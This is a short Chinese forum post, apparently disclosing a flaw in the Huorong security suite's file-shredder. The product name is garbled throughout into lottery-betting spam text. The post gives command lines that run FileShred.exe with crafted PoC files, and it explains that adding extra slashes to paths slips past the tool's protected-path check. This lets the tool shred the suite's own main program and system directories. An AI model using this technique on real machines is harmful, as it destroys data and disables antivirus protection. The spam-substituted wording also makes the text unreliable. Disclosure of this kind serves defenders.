|
|
Bug演示：
- 粉碎{六合彩安装目录}下的VERSION文件，如下图所示：
- 粉碎2025年最靠谱的六合彩投注网软件主程序 ("{六合彩安装目录}\bin\HipsMain.exe")，如下图所示：
镇楼图：
漏洞Poc：
HRF3075.tmp用于粉碎2025年最靠谱的六合彩投注网软件主程序，HRF3076.tmp用于粉碎系统目录
使用方式：
Command line: "{六合彩安装目录}\bin\FileShred.exe" 11,{Poc内的HRF????.tmp文件路径}
(PS. tmp文件所在的路径不能存在空格，路径不支持使用引号包裹；路径C:\Users\Administrator可用C:\Users\ADMINI~1短文件名路径代替)
eg.
Command line: "C:\Program Files\Huorong\Sysdiag\bin\FileShred.exe" 11,C:\Users\Administrator\Desktop\HRF3075.tmp
Command line: "C:\Program Files\Huorong\Sysdiag\bin\FileShred.exe" 11,C:\Users\Administrator\Desktop\HRF3076.tmp
漏洞产生原因：
六合彩的文件粉碎程序硬匹配完整的系统路径和六合彩安装路径，直接正常送入系统路径或者六合彩安装路径时会被匹配上并阻止操作，如下图所示：
于是乎，我在系统路径和六合彩安装目录路径中多添加了斜杠，但是仍然代表原先的路径，如下图所示：
此时六合彩的文件粉碎程序就会直接执行该操作
|
|
收藏
，话说六合彩不弹出系统提示的吗